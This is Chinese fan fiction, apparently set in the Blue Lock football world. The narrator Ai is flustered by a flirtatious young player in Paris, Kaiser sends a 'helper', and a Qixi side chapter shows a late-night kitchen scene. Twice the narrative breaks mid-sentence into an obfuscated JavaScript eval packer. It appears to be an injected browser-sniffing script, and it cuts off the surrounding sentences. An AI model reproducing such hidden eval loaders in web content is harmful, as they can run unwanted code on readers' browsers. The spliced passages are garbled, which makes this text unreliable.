我絮絮叨叨地说着,没注意到身后赛场上的动静似乎小了一些,一个身影正悄悄地从场上溜下来,朝着我这边靠近。 “……而且他居然才十四岁!感觉比凪还能惹麻烦……”我正说得起劲,忽然,一只有些汗湿、带着热度和草屑的手臂毫无预兆地从后面伸过来,极其自然地搭在了我的肩膀上! 我吓得浑身一僵,差点叫出声,手机都差点脱手! 猛地回头,正好撞进夏尔·希瓦利埃那双闪烁着恶作剧得逞光芒的金色眼眸里!他显然刚从场上下来,额头上还挂着亮晶晶的汗珠,呼吸有些急促,脸上带着灿烂又痞气的笑容,凑得极近,几乎要贴到我的手机上,故意用他那清亮又带着点撒娇意味的嗓音大声说: “姐姐~在跟谁打电话呀?这么偷偷摸摸的~还说我坏话?我都听到啦!” 他的气息拂过我的耳廓,带着运动后的热度和青草的味道。我甚至能感觉到他手臂肌肉的线条和皮肤上湿漉漉的触感! 我的大脑“嗡”的一声,脸颊瞬间爆炸般滚烫!心脏像是被什么东西猛地攥紧,然后又疯狂地擂动起来! 电话那头的内斯显然也听到了这突如其来的、离麦克风极近的男声,他愣了一下,语气瞬间带上了担忧和警惕:“爱?你那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顿了顿,仿佛嫌不够刺激似的,又甜甜蜜蜜地补充了一句,每一个字都像是在凯撒的雷区上疯狂蹦迪: “大叔~你谁呀?怎么用这种口气跟姐姐说话?也太失礼了吧!姐姐现在可是被阳光开朗、善良体贴、未来世界第一中场——也就是我,夏尔·希瓦利埃——保护着哦!跟你这种阴沉大叔可不是一个世界的!麻烦你有点自知之明,不要再骚扰姐姐了,好吗?” 死寂。 电话那头是死一般的寂静。 仿佛暴风雪来临前,万物都被冻结的、令人毛骨悚然的死寂。 我甚至能想象出电话那头,凯撒此刻的脸色有多难看,周围的气压有多低。内斯恐怕已经吓得快要晕过去了。 完了。这下彻底完了。夏尔·希瓦利埃,你不仅是在死亡的边缘试探,你是直接扛着炸药包把死亡线给炸了! 就在我以为凯撒会通过电话线直接杀过来的时候,他那边的声音却突然消失了,像是被猛地掐断了信号。 嗯?挂了? 我愣住了,夏尔也稍微松了点力道,疑惑地看了看手机屏幕。 然而,下一秒,我的手机屏幕再次亮起——这一次,是凯撒直接发来的视频通话请求!那嗡嗡的震动声比催命符还要急促! 他居然挂了电话直接打视频!他想干什么?!亲眼确认“案发现场”吗?! 我的手指颤抖着,根本不敢按接听。 夏尔却像是发现了什么新玩具,眼睛一亮,手疾眼快地就要替我去按那个绿色的接听键! “不许接!”我尖叫着,拼命躲闪。 就在我们俩争夺手机、乱作一团的时候,一只古铜色的、带着沉稳力量的手突然从旁边伸了过来,精准而不容置疑地按下了红色的挂断键。 世界瞬间清静了。 我和夏尔同时愣住了,转头看去。 只见洛基不知何时站在了我们身边,他面无表情地收回了手,那双金色的眼眸先是不赞同地扫了一眼还搂着我的夏尔,声音沉稳地开口:“夏尔,适可而止。教练在叫你。” 他的语气并不严厉,却带着一种无形的威压。 夏尔撇了撇嘴,似乎有点不甘心,但还是悻悻然地松开了我,对着我手里的手机做了个鬼脸,才转身朝着场上跑去,一边跑还一边嚷嚷:“知道啦知道啦!洛基你真没劲!” 我惊魂未定地喘着气,脸颊滚烫,心脏还在狂跳。手里握着的手机仿佛成了一块烙铁。 洛基的目光转向我,语气缓和了一些:“抱歉,夏尔他……有些缺乏边界感。你没事吧?” “没、没事……”我低着头,声音小的像蚊子哼哼,尴尬得恨不得找个地缝钻进去,“谢谢您,洛基先生。” “叫我朱利安就好。”他淡淡地说,然后视线落在我依旧紧握的手机上,“那边……需要解释一下吗?” 我这才猛地想起回拨电话。 我慌忙把手机贴回耳边:“内斯?内斯你还在吗?对不起刚才……” “爱!!!”内斯的声音立刻传了出来,带着哭腔和前所未有的慌乱,“你没事吧?!吓死我了!凯撒他、他刚才抢了手机……然后他、他看了一眼屏幕就、就直接把手机摔了!现在、现在他出去了!脸色好可怕!我从来没见他气成这样!怎么办啊爱!他会不会直接买机票飞去巴黎啊?!” 内斯的话像一串冰雹砸在我头上,让我浑身发冷。 凯撒……摔了手机?还出去了?脸色可怕到让内斯都觉得惊恐? 我的脑海里瞬间浮现出凯撒那双冰蓝色眼眸里可能凝结的风暴,以及他周身散发出的、足以冻裂一切的低气压。以他那睚眦必报、任性妄为的性格,直接杀到巴黎来……好像也不是完全不可能的事情…… 一股巨大的恐慌和懊悔淹没了我。我就不该接那个电话!我就不该来看这个训练赛!我就不该来巴黎! “我、我也不知道……”我的声音带上了颤抖,几乎要哭出来,“内斯……对不起……我不是故意的……” “不怪你!都是那个希瓦利埃太可恶了!”内斯连忙安慰我,但他自己的声音也抖得厉害,“爱,你这几天一定要小心点!最好……最好别一个人待着!我、我再试着联系一下凯撒……虽然不知道他会不会理我……” 挂了电话,我浑身脱力地靠在旁边的栏杆上,感觉像是刚跑完一场马拉松,精疲力尽。 洛基还站在旁边,他显然从我的表情和只言片语中猜到了大概。他沉默了片刻,开口道:“需要帮忙吗?” 我摇了摇头,声音疲惫:“不用了……谢谢您,朱利安。是我自己的问题……”是我一不小心,又招惹了那个世界上最麻烦的混蛋,还附带了一个更小的麻烦精。 洛基看了看我,没再说什么,只是递过来一瓶未开封的水。 我接过水,道了声谢,却完全没有心思喝。 目光望向赛场。夏尔·希瓦利埃已经重新投入了比赛,他依旧生龙活虎,笑容灿烂,仿佛刚才那场足以引发国际争端的小插曲从未发生过。 阳光依旧明媚,草坪依旧翠绿,训练赛依旧如火如荼。 可我的心里,却已经提前被来自德国的那片暴风雪云团所笼罩,冰冷而压抑。 凯撒……他到底想干什么? 这个巴黎,我真是一分钟都待不下去了。 51. 帮手 我就这么心惊胆战地站到了比赛结束,感觉腿都有些发软,不是累的,纯粹是吓的。手机在内斯那边挂断后就再也没了动静,安静得令人心慌。我时不时就要把它掏出来看一眼,确认没有新的视频通话请求或者更可怕的消息,屏幕却始终漆黑一片,仿佛暴风雨前令人窒息的死寂。 就在我第N次解锁手机检查时,内斯的消息终于弹了出来。 【内斯:爱!汇报最新情况!凯撒他去找教练请假了!但是被驳回了!教练说接下来几天有重要的战术合练和友谊赛,绝对不准他离队!太好了!(;ω;)】 看到这条消息,我悬在嗓子眼的心终于重重落回原地,长长地、彻底地吁出一口气,感觉后背都惊出了一层薄汗。还好……还好教练英明!拦住了那个显然已经处于暴走边缘的疯子! 我赶紧回复过去:【太好了!谢谢内斯!也谢谢教练!你没事吧?凯撒他……没对你怎么样吧?】 【内斯:我没事!就是凯撒回来的时候脸色好可怕,周围气压低得能冻死人……他把摔坏的手机捡回来,看了一眼就说没法用了,然后直接扔进垃圾桶了……现在他去加练射门了,对着球门猛轰,感觉球网都要被射穿了……(;?д`)ゞ】 光是想象一下那个画面,我就觉得头皮发麻。可以,这很凯撒。把怒火发泄在足球上,总比发泄在别人身上好。 我和内斯道谢,叮嘱他自己也小心点。 刚站了大概十几分钟,另一条消息就猝不及防地弹了出来——来自一个陌生的号码,但那个嚣张的口气,我用脚趾头想都知道是谁。 【未知号码:啧,麻烦。行吧,算那小鬼走运。】 我眼皮猛地一跳。他居然这么快就弄到了新手机和新号码?!这行动力也太可怕了! 还没等我回复,他的下一条消息又来了。 【未知号码:我叫了个人过去。】 【我:???】 叫了个人?什么人?他要干什么?!我刚放下去的心又提了起来。 【未知号码:既然我被绊住了,总不能放着被骚扰的小学徒不管。那边的人明天大概就能到。】 【我:……谁?】我颤抖着手指打字。 【未知号码:邦尼·伊格莱西亚斯。白头发,红眼睛,脸上有个十字疤,挺好认。】 邦尼·伊格莱西亚斯?这名字有点耳熟……好像是……巴萨的那个前锋?新世代十一杰之一?那个总是笑眯眯但据说说话很诡异的家伙? 【未知号码:他最近没什么比赛,闲得很。虽然性格有点古怪,但总比那个没断奶还手欠的希瓦利埃好多了。】 我盯着屏幕,一时之间竟然不知道该怎么吐槽。凯撒……他居然还有能随叫随到的“帮手”?还是十一杰级别的?这合理吗?以他那狗都嫌的性格,人缘不是应该差到全世界都避之唯恐不及吗? 可能是我胆子真的被练出来了,我居然直接把心里话发了过去。 【我:……你居然还有人脉?】 消息发出去的瞬间我就后悔了。果然,那边立刻显示“正在输入中”。 【未知号码:呵。我是新世代十一杰,小爱同学。人缘再差,也不至于连个能叫来帮忙的人都找不到。】 他顿了顿,下一句话带着熟悉的、透过屏幕都能感受到的寒意。 【未知号码:还是说,你对我这位老师的安排有意见?】 我立刻怂了,赶紧回复:【没有意见!谢谢老师!老师费心了!】 隔着屏幕我仿佛都能看到他冷哼一声的样子。 【未知号码:行了,等着吧。他到了会联系你。安分点,别再惹麻烦。】 我没再回复。心里乱糟糟的。这叫什么事啊?一个夏尔还不够,又要来个邦尼·伊格莱西亚斯?而且还是凯撒叫来的?这真的不是火上浇油吗?那个邦尼,应该也不是什么正常人…… 就在这时,大胡子叔叔洪亮的声音打断了我的思绪:“嘿!小伙子们!干得漂亮!今晚叔叔请客!咱们出去好好吃一顿!清田,小爱,你们也一起来!必须来啊!谁都不准跑!” 我爸立刻积极响应:“哈哈!没问题!正好尝尝地道的法国大餐!” 我张了张嘴,刚想找个借口推脱,比如“有点累了想回酒店休息”,我爸就一把搂过我的肩膀,力道大得不容拒绝,压低声音在我耳边说:“傻闺女,躲什么躲?越是这种时候越要表现得没事人一样!难道你还怕了那个小皮猴子不成?放心,有老爸在呢!” 我:“……”我不是怕夏尔,我是怕您老人家看热闹不嫌事大,以及那个即将空降的“帮手”啊! 最终,我还是被半强制地拖上了“贼船”。 餐厅是大胡子叔叔选的,一家看起来很有年头、氛围温馨传统的法式餐馆。木质结构,暖黄色的灯光,墙壁上挂着复古海报,空气中弥漫着诱人的食物香气和欢声笑语。 我们到的时候,PXG的小球员们已经叽叽喳喳地坐了好几张桌子。夏尔果然也在,他换了一身干净的衣服,头发似乎还微微湿着,看到我们进来,立刻扬起一个灿烂的笑容,用力挥手。 “姐姐!这边这边!”他推开椅子,几步就蹿了过来,极其自然地行了一个夸张的绅士礼,手臂划出一个华丽的弧度,指向最里面那张长桌的一个空位,“请允许我将这个最好的位置献给您!” 我被他这突如其来的隆重礼节弄得一愣,下意识地后退了半步,尴尬地摆手:“啊?不、不用了吧……我坐哪里都行……” 坐在旁边的洛基见状,微微笑了一下,出声解释道:“爱,在法国,男士通常会优先将最里面、最不受打扰的位置让给女士,以示尊重和照顾。这是基本的礼仪。”他顿了顿,语气温和地补充,“当然,如果你更喜欢坐在外面方便活动,也没关系,不必勉强。” “哦……原来是这样。”我恍然大悟,心里那点别扭稍微减轻了些。偷瞄了一眼夏尔,他依旧保持着弯腰伸手的姿势,眼睛亮晶晶地看着我,一副“快夸我懂事”的表情。 “嗯……谢谢。”我低声道谢,最终还是在他指引的那个靠墙的位置坐下了。至少这里比较隐蔽,能减少一点存在感。 夏尔立刻心满意足地在我左边的空位坐下,洛基则自然地坐在了我的右边。我爸和大胡子叔叔坐在对面,已经开始研究菜单和酒水了。 侍者送来了菜单。厚重的菜单上全是法文,配着几张图片,但我完全看不懂下面的描述。我努力辨认着,试图找出一个看起来靠谱的选项。 “姐姐,看不懂吗?”夏尔脑袋凑了过来,挨得很近,金色的发丝几乎要蹭到我的脸颊,他身上的气息干净清爽,带着淡淡的沐浴露香味,“需不需要我帮你推荐?这家店的油封鸭腿和红酒炖牛肉都很不错哦!或者你想尝尝焗蜗牛?虽然听起来有点可怕,但味道真的很棒!” 他的热情让人难以招架。 “呃,我……”我往后缩了缩,目光求助似的看向右边的洛基。 洛基了然,将自己那份菜单推过来一些,用手指点着其中几项,用清晰而平缓的英语说道:“如果不习惯内脏类的食物,建议避开这个。鸭腿和炖牛肉确实是很安全的选择。或者这个烤鱼,搭配柠檬黄油汁,口感比较清爽。沙拉的话,尼斯沙拉分量很足。” 他的推荐就理性多了,还贴心地说明了理由。 “谢谢,那我就选烤鱼吧。”我松了口气,对洛基投去感激的一瞥。 夏尔眨了眨眼,看看洛基,又看看我,脸上露出一个狡黠的笑容,拖长了语调:“哦——原来姐姐喜欢听这种一板一眼的介绍啊?早说嘛~我也可以学哦,就是不知道姐姐你喜欢的类……” “夏尔。”洛基打断他,语气里带着一丝无奈的警告,但脸上并没有什么怒意,似乎早已习惯了他的跳脱。 “好好好,我不说了~”夏尔笑嘻嘻地举起双手做投降状,然后又转向我,压低声音,像是在分享什么小秘密,“不过姐姐,别看洛基现在这么一本正经的样子,他之前……” 他的话没能说完,因为洛基面无表情地拿起餐盘里的小面包,精准地塞进了他的嘴里。 “唔!”夏尔被堵了个正着,瞪大了眼睛,呜呜咽咽地抗议,却只能老老实实地嚼着面包,样子滑稽又可怜。 我忍不住“噗嗤”一声笑了出来。看来洛基对付夏尔自有一套办法。 对面的老爸和大胡子叔叔看到这一幕,也哈哈大笑起来。气氛似乎终于变得轻松了一些。 餐点陆续送了上来。我的烤鱼果然如洛基所说,外皮酥脆,鱼肉鲜嫩,搭配的酱汁清爽不腻。我小口小口地吃着,尽量降低自己的存在感。 夏尔安静了没一会儿,又开始了。他把自己盘子里的烤羊排切下一小块最嫩的,用叉子举着,越过洛基,直接递到我面前:“姐姐,尝尝这个!我保证比烤鱼好吃!” 他的动作太过自然,金色的眼睛里满是期待,让人很难拒绝。但我看着那递到眼前的叉子,还是觉得有点太超过了,脸颊微微发烫。 “我、我自己有……”我小声拒绝,下意识地往后靠。 “夏尔。”洛基再次开口,声音沉了一些,“用公叉。” “哎呀,有什么关系嘛!”夏尔嘟囔着,但还是不情不愿地放下了手里的叉子,拿起公用的餐叉重新叉了那块肉,再次递过来,眼巴巴地看着我,“姐姐,就尝一口嘛~真的很好吃!” 我看着他那副样子,再看看旁边洛基略带监督意味的目光,犹豫了一下,最终还是微微倾身,小心地就着他的手,快速咬下了那块肉。 “怎么样?好吃吧?”夏尔立刻追问,像只等待表扬的大型犬。 “嗯……还不错。”我点点头,肉质确实很嫩,调味也恰到好处。 夏尔立刻笑得见牙不见眼,仿佛得到了什么天大的奖赏。 就在这时,我的手机在口袋里震动了一下。我的心也跟着一跳。 不会是……凯撒又叫了什么“空投物资”吧?或者那个邦尼已经到了? 我故作镇定地拿出手机,飞快地瞥了一眼屏幕——还好,是内斯。 【内斯:爱!晚餐吃得怎么样?凯撒他还在加练,好像稍微冷静一点了……大概。(;?д`)ゞ】 我稍微松了口气,正准备回复,旁边又幽幽地飘来一句。 “姐姐~吃饭的时候一直看手机,可是对同桌人的不尊重哦~”夏尔托着下巴,歪头看着我,语气里带着点委屈,“难道手机比我还有趣吗?” 我赶紧按熄屏幕,把手机塞回口袋:“没有没有,只是一个朋友问我们到了没有。” “哦?朋友?”夏尔挑眉,那双金色的眼睛微微眯起,像只发现了猎物的猫,“是那个拜塔的阴沉大叔,还是那个说话结结巴巴的家伙?” 他的形容精准得可怕,让我一时语塞。 “夏尔。”洛基再次出声,这次语气里带上了明显的警告,“注意你的措辞。” “好吧好吧~”夏尔耸耸肩,但脸上的玩味笑容丝毫未减,他凑近我,用只有我们三个人能听到的声音说,“姐姐,你认识的人……好像都挺‘特别’的嘛?” 特别?我看最特别的就是你! 我低下头,用力切着盘子里的烤鱼,假装没听见。 这顿晚餐就在这种微妙又有点闹腾的气氛中进行着。夏尔时不时就要搞点小动作,要么试图给我投喂,要么说些俏皮话逗我(或者惹我),每次都在洛基的无声警告或直接干预下稍微收敛。老爸和大胡子叔叔聊得热火朝天,完全没注意到我们这边的暗流涌动。 终于熬到晚餐结束,侍者送上了甜品菜单。我正想摆手拒绝,大胡子叔叔已经豪气地表示每人必须来一份。 “小爱,尝尝这家的焦糖布丁!绝对是巴黎一绝!”他热情地推荐。 盛情难却,我只能点头。甜点很快送了上来,精致的瓷碗里,焦糖脆壳光滑诱人。我拿起小勺,轻轻敲开脆壳,舀了一勺嫩滑的布丁送入口中。甜蜜的焦糖味和浓郁的蛋奶香瞬间在口中化开,味道确实非常出色。 “好吃吗?”夏尔几乎立刻凑过来问,他自己那份已经下去一小半了。 “嗯,很好吃。”我如实回答。 他立刻笑得比布丁还甜:“那下次我还带你来!” 我:“……”并没有答应你啊! 吃完甜品,这顿漫长的晚餐总算走到了尾声。大家陆续起身准备离开。我暗自松了口气,终于可以回酒店休息了,顺便思考一下明天如何应对那个即将到来的邦尼·伊格莱西斯。 走到餐厅门口,夏尔又挤到了我身边,笑嘻嘻地问:“姐姐,你们住哪个酒店啊?顺路的话我可以送你们回去?” “不、不用了!”我赶紧拒绝,“大胡子叔叔会安排车的。” “哦,那好吧。”他看起来有点失望,但很快又振作起来,“那明天训练场见?我教你那个超帅的踩单车过人?” “明天……再看吧……”我含糊地应着,只想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我知道巴黎是浪漫之都,但此刻我感受到的“浪漫震撼”却来自别处——路过一家装潢精美的花店,娇艳欲滴的玫瑰散发着馥郁香气;橱窗里陈列着奢侈品店闪亮的男女士用品,价格标签上的数字看得我眼皮直跳。浪漫是需要经济基础和悠闲心情的,而我现在只觉得钱包和精神都在瑟瑟发抖。 “行了行了,老爸,够了吧?”我试图阻止他要把整个商场搬空的架势,“我们不是来批发市场的……” “这才哪到哪!”爸爸大手一挥,完全不理会我的抗议,反而把主意打到了我头上,“对了,光我买怎么行!你,也去挑点东西!” “我?”我愣住了,“我挑什么?” “当然是送给大胡子叔叔、洛基还有夏尔那小子他们的礼物啊!”爸爸说得理所当然,一边拿起一顶印着PXG队徽的棒球帽扣在自己头上试戴,“咱们是来做客的,不能没礼貌。上门礼数要周到!赶紧的,别磨蹭!” 来的路上,我确实注意到了许多巴黎人。他们穿着随意却自带一股说不出的时尚感,坐在街边咖啡馆悠闲地喝着咖啡,或是挎着简约的包袋步履从容,那种融入骨子里的松弛和自信,确实让人印象深刻。他们大概挺注重外在形象和生活品质的吧? 给大胡子叔叔送什么?爸爸已经在一旁兴奋地提议:“送酒!绝对没错!法国的葡萄酒,顶级!” 我看着他手里那瓶看起来就价格不菲的红酒,嘴角抽了抽:“……他能喝吗?教练不是要保持清醒头脑……” “哎呀,意思到了就行!氛围!懂不懂!”爸爸完全不以为意,已经让导包起来了。 那……洛基呢?他看起来沉稳可靠,气质内敛,而且确实也快成年了,应该会开始注意打理自己了吧?我踱步到男士用品区,目光掠过一排排精致的香水柜台。最终,我挑了一瓶味道清冽又带着一丝沉稳木质香的男士香水,玻璃瓶身简洁利落,感觉很适合他。 至于夏尔……想到那个精力无限、笑容甜得发腻的小子,我几乎没怎么犹豫就走向了甜品区。送点甜的给他堵堵嘴最合适不过了!马卡龙、巧克力、可丽露……法国最不缺的就是各式各样的精致甜食。我选了一盒包装漂亮、口味丰富的马卡龙,色彩缤纷,看起来就和他一样活泼。 终于采购完毕,我们大包小包,几乎像逃难一样艰难地挪向商场出口,准备前往PXG青训基地。爸爸还在兴奋地盘点他的“战利品”,而我只觉得身心俱疲,只想赶紧把礼物送完然后回酒店瘫着。 车子驶近基地大门,远远地,我就看到大胡子叔叔那壮硕的身影正站在门口,似乎是在等我们。但在他旁边,还站着一个异常显眼的人。 那是一个身材极其高壮的男人,甚至比大胡子叔叔还要高出一些,宽肩窄腰,穿着简单的黑色T恤和工装裤,勾勒出充满力量感的体格。他头上压着一顶黑色的鸭舌帽,帽檐投下的阴影遮住了他大半张脸,只能看到线条硬朗的下颌和一抹似乎总是勾着的嘴角。 奇怪,这人是谁?新来的教练?还是球员家长?看着有点眼生…… 我们的车缓缓停下。我和爸爸刚拎着大包小包下车,那个高壮男人的目光就精准地扫了过来,瞬间锁定在我身上。 然后,他对着大胡子叔叔,用一口带着明显西班牙语口音、但还算流利的英语开口了,声音低沉含笑,却像一道惊雷劈在我耳边: “请问,清田爱小姐,是在这里吗?” 我猛地顿住脚步,心脏漏跳了一拍。找我? 大胡子叔叔显然也愣了一下,粗犷的脸上露出困惑的表情,他打量了一下眼前这个陌生男人,警惕地问:“我是这里的教练。你哪位?找小爱有什么事?” 那个高壮男人似乎犹豫了一下,帽檐下的嘴角弧度加深了些,仿佛觉得这个问题很有趣。他抬手,用食指轻轻顶了顶帽檐,露出完整的脸庞——左眼下方,一道清晰的十字疤痕赫然映入眼帘! 看到那个疤痕的瞬间,我的大脑“嗡”的一声!巴萨!十字疤!邦尼·伊格莱西亚斯!凯撒叫来的那个“帮手”!他居然真的来了?!还来得这么快?! 就在我震惊得无以复加、血液都快冻结的时候,邦尼·伊格莱西亚斯笑眯眯地、用一种仿佛在谈论今天天气真好般的轻松语气,对着同样一脸愕然的大胡子叔叔,抛下了那颗足以炸翻整个基地大门的重磅炸弹: “我?” “嗯——硬要说的话……” 他拖长了语调,那双含着笑意的眼睛越过目瞪口呆的大胡子叔叔,直直地看向我,里面的神色玩味又带着一丝恶劣的趣味。 “大概是她的男朋友吧?” 52. 【七夕番外】日常系七夕[番外] 半夜,我梦见爸爸变成猪了。 不是那种粉嫩可爱的小香猪,而是那种在泥潭里打滚、哼哼唧唧、鬃毛都打了结的野猪!梦里,他还在一个巨大的、泥泞不堪的坑里欢快地蹦跶,四只蹄子溅起浑浊的泥点,嘴里发出“呼哧呼哧”的满足声音,那双和我极其相似的蓝眼睛透过泥浆,还得意洋洋地朝我眨了眨! “噗噜——!宝贝!这泥坑超棒!快来试试——!”梦里,他甚至口吐人言,发出邀请! “不要——!”我猛地从梦中惊醒,心脏砰砰狂跳,后背惊出一层薄汗。 黑暗中,我大口喘着气,试图将梦里那只撒欢的泥猪形象从脑海里驱逐出去。上帝啊,这到底是什么诡异的噩梦!是因为睡前刷到了太多乡村养猪视频,还是潜意识里对老爸那种不管不顾、偶尔脱线行为的具象化抗议? “爱……?”身旁传来带着浓浓睡意的、模糊的声音。一只温暖的手摸索着伸过来,轻轻搭在我的腰侧,“怎么了?做噩梦了?” 是玲王。他被我的动静惊醒了,声音沙哑而柔软,带着全然的关切,完全不见白日里的精明锐利。紫色的发丝有些凌乱地贴在额角,在透过窗帘缝隙的微弱月光下,像上好的绸缎。 我转过身,面对着他,惊魂未定地点点头,尽管知道他可能看不清楚。“嗯……”我小声嘟囔,有点难以启齿,“……梦见我爸了。” “叔叔?”玲王的意识似乎清醒了些,手臂微微用力,将我揽得更近些,下巴抵着我的发顶,声音闷闷的,“梦到他什么了?他又在梦里做了什么不靠谱的事?”他的语气里带着了然的笑意,显然对我爸的跳脱风格深有体会。 我憋着笑,把脸埋进他温暖的胸膛,闷声闷气地说:“……我梦见他变成了一头猪。” “……嗯?”玲王的身体似乎僵了一下。 “还在跳泥坑,”我补充道,肩膀开始忍不住抖动,“跳得可欢了,还邀请我一起……” 黑暗中,我感觉到玲王的胸腔开始轻微地震动,抵在我发顶的下巴也绷紧了,似乎在极力忍耐。半晌,他带着难以置信的、压抑着爆笑冲动的声音从头顶传来:“……跳、跳泥坑?猪?伊戈尔叔叔?” “嗯!”我重重点头,终于忍不住,噗嗤一声笑了出来,“浑身都是泥!还在哼唧!” “噗——哈哈哈……”玲王再也忍不住,低低地笑出了声,胸腔的震动传递到我身上,温暖而令人安心。他把我搂得更紧,笑声压抑却愉悦,“我的天……伊戈尔叔叔知道他的宝贝女儿做这种梦,不知道会是什么表情……哈哈哈……跳泥坑……还挺符合他的风格……” “是吧是吧!”我也笑得止不住,又怕吵醒另一边的人,只能把脸更深地埋进玲王怀里,身体因为压抑笑声而微微发抖。我们像两个偷吃了糖怕被发现的孩子,在深夜的床上分享着一个荒诞却好笑的秘密,紧密相贴的身体传递着彼此的体温和欢愉的颤动。 笑了好一会儿,我才缓过气来,轻轻从玲王怀里抬起头。虽然梦的惊吓余波还在,但此刻被玲王的温暖和笑意包围,那点荒诞感早已被驱散,只剩下一种亲昵的、共享秘密的甜蜜。 对了,凪呢?刚才我们笑得虽然压抑,但动静也不小,不会把他吵醒了吧?他那家伙,起床气可不小,要是被吵醒了,估计能哼哼唧唧一早上。 我下意识地转过身,想看看另一侧睡着的凪诚士郎有没有被我们吵到,手也习惯性地往他那边的被窝里摸去——想帮他掖掖被子,或者轻轻拍拍安抚一下。 然而,手掌落处,却是一片冰凉的空旷。 柔软的羽绒被褥被掀开了一角,本该躺着一个高大温暖身躯的地方,此刻空空如也,只剩下被压出的浅浅凹痕和残留的一丝体温。 我的心跳猛地漏跳了一拍。 “玲王……”我下意识地拽了拽身旁人的衣袖,声音里带上了一丝不易察觉的慌乱,“凪……凪不见了?” 刚才还弥漫着温馨笑意氛围的空气瞬间凝滞。 玲王几乎是瞬间就停止了低笑,身体绷紧了些。他撑起身子,借着微弱的月光看向凪那边空荡荡的床位,紫色的眼眸在黑暗中锐利地扫过。 “不在?”他的声音立刻清醒了不少,带着一丝疑惑和警觉,“去洗手间了?” “不知道……”我摇摇头,心里那股莫名的不安开始扩大。凪虽然偶尔会起夜,但很少会离开这么久,而且……一点声音都没有发出。这太不“凪”了。 我们俩对视一眼,都在对方眼中看到了同样的担忧。同居这么久,我们已经习惯了彼此的存在和习惯。凪虽然懒散,但在某些方面意外地规律,这种深夜悄无声息消失的情况,极少发生。 “下楼看看。”玲王当机立断,掀开被子起身,动作放得很轻。我也立刻跟着下床,心脏不知道为什么,开始咚咚地敲起鼓来。 卧室的门虚掩着,走廊里一片漆黑寂静。我们赤着脚,小心翼翼地走下楼梯,木质楼梯发出极其轻微的吱呀声,在万籁俱寂的深夜显得格外清晰。 客厅里也是空无一人,只有家具模糊的轮廓。一种莫名的恐慌开始攫住我,脑子里不受控制地闪过各种不好的念头——难道出事了?他不舒服?还是…… 就在我的想象力快要朝着最坏的方向狂奔时,厨房方向传来一丝极其细微的、窸窸窣窣的动静。 玲王显然也听到了,他立刻握紧了我的手,示意我别出声,然后牵着我,屏住呼吸,一步步朝着厨房的方向挪去。 厨房的灯没有开,但冰箱门似乎开着一条缝,里面冷藏室的灯光漏出来一小片,在地上投下狭长的、微弱的光带。 而就在那片光带边缘,一个高大的、熟悉的身影正背对着我们,蹲在地上。 是凪。 他穿着那身柔软的、印着懒懒星人图案的灰色睡衣,白色的头发在冰箱光线下显得毛茸茸的。他正埋头在冰箱下层的蔬果保鲜格里专注地翻找着什么,宽阔的背影看起来有点笨拙,又有点……可怜兮兮? 然后,我们看到他从那堆蔬菜水果后面,成功地拖出了一盒看起来像是布丁或者酸奶的东西,心满意足地直起身。 就在他转身准备离开冰箱的瞬间,借着他嘴里叼着的那盒东西,我们终于看清了——那是一盒柠檬茶!吸管已经被他咬在嘴里了! 而他另一只手里,还捏着半块不知道从哪里摸出来的、看起来有点干巴巴的面包。 原来如此!深夜失踪案的真凶,是饥饿的胃和冰箱! 我和玲王同时松了一口气,紧绷的神经瞬间松弛下来,差点笑出声。刚才那点担心和恐慌此刻显得如此可笑。 凪似乎这才察觉到身后的动静,他慢吞吞地转过身,嘴里还叼着那盒柠檬茶,吸得正欢。看到站在厨房门口的我们,他那双总是半睁着的、显得有些慵懒和无辜的黑色眼睛眨了眨,闪过一丝极细微的惊讶,随即又恢复了平时的困倦模样。 “……玲王?爱?”他含糊不清地开口,因为叼着吸管,声音有点闷闷的,“你们也……饿了?” 看着他这副样子,我再也忍不住,捂着嘴低低地笑了起来。玲王也是又好气又好笑,摇了摇头,走上前去,伸手揉了揉凪那一头乱糟糟的白毛。 “你这家伙……半夜偷偷摸摸下来找吃的,吓我们一跳。”玲王的语气里带着无奈的宠溺,“还以为你怎么了。” 凪咽下嘴里的柠檬茶,慢悠悠地说:“……饿了。睡不着。”他晃了晃手里的半块面包,“只有这个了……布丁好像吃完了。” “怎么不开灯?”我走过去,伸手按亮了厨房的灯。温暖的灯光瞬间倾泻而下,驱散了黑暗,也让我们更清楚地看到凪脸上那副理所当然的“节能”表情。 “……麻烦。”凪言简意赅地回答,视线又落回冰箱里,似乎还在搜寻其他可以果腹的东西。 玲王叹了口气,走到他身边,接过他手里那干巴巴的面包看了看,眉头微皱:“这好像还是前天剩下的?别吃了,小心胃不舒服。”他说着,很自然地把那半块面包扔进了旁边的垃圾桶,然后熟练地打开上层的冷藏室,“我给你下点馄饨吧,很快就好。爱,你要不要也来一点?” 我看着玲王像照顾大型宝宝一样自然地接手了凪的觅食工作,而凪则乖乖地靠在冰箱门上,继续慢吞吞地吸着他的柠檬茶,一副“饲养员来了太好了”的安心模样,心里最后那点残余的惊慌也彻底消失了,取而代之的是一种饱胀的、温暖的情绪。 深夜的厨房,灯光温暖。玲王挽起袖子,开始烧水,准备馄饨,动作流畅而熟练。凪叼着柠檬茶,像只大型树袋熊一样慢悠悠地蹭到餐桌旁坐下,眼皮又开始打架。我靠在料理台边,看着他们俩,忍不住又想起那个爸爸变成猪跳泥坑的梦。 对比眼前这温馨得甚至有些家常的画面,那个梦显得更加荒诞和好笑了。 “欸,我跟你们说,”我忍不住开口,声音里带着笑意,“我刚才做的噩梦,真的超级离谱……” 水烧开的咕嘟声,玲王放入馄饨的轻微声响,还有凪吸吮柠檬茶的声音,交织在一起,构成了这个深夜最令人安心的背景音。 而关于一头名叫“伊戈尔”的猪在泥坑里欢快蹦哒的梦,成了我们三个人在这个静谧夜晚共享的、又一个无厘头却温暖的小秘密。 *** 